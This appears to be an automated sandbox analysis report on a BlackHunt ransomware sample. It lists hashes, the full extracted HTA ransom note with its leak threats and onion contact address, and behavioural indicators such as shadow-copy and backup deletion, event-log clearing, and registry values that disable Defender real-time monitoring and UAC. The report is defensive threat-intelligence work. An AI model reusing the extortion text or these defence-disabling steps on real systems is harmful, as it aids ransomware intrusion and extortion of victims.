23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
18-01-2024 22:46

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General

Target

23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
Size

707KB
MD5

29a02e4aa3525c4b2c3c9aa244c230f6
SHA1

6fb43902f84a559affa0b227e924ed8211707533
SHA256

23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1
SHA512

c111b29b95f707b255b871a7c6a6282caacf4ae84efa070b17dbede58f1f1718e3975a17799ee603d822be798bf2b7ceba40d54b0598480e3fdc55ae2b13376e
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1L8qvnh:6uaTmkZJ+naie5OTamgEoKxLWCkh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 40DEfwCrSYpzGBRt </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
4576	fsutil.exe
18176	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
16960	wevtutil.exe
16948	wevtutil.exe
17256	wevtutil.exe
17320	wevtutil.exe
17412	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5652	bcdedit.exe
6508	bcdedit.exe
17444	bcdedit.exe
17848	bcdedit.exe

Renames multiple (3358) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
8848	wbadmin.exe
18088	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\O:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\H:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\Z:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\U:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\B:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\Q:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\S:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\J:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\R:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\X:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\I:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\V:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\N:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\M:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\G:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\P:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\L:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\W:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\T:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\Y:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\A:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\K:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\nl-nl\ui-strings.js	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\root\#BlackHunt_ReadMe.hta	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\#BlackHunt_ReadMe.hta	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pl-pl\#BlackHunt_Private.key	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ky\#BlackHunt_ReadMe.txt	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_hover_2x.png	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\#BlackHunt_ReadMe.hta	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sl-si\ui-strings.js	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ja-jp\#BlackHunt_Private.key	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ar_get.svg	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\LC_MESSAGES\#BlackHunt_Private.key	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\pl-pl\#BlackHunt_Private.key	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\#BlackHunt_Private.key	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\sl-si\#BlackHunt_Private.key	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#BlackHunt_Private.key	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ru-ru\#BlackHunt_ReadMe.txt	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\hu-hu\#BlackHunt_ReadMe.txt	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\#BlackHunt_Private.key	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\nl-nl\#BlackHunt_ReadMe.txt	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\#BlackHunt_Private.key	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
File created	C:\Program Files (x86)\Adobe\#BlackHunt_Private.key	23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe
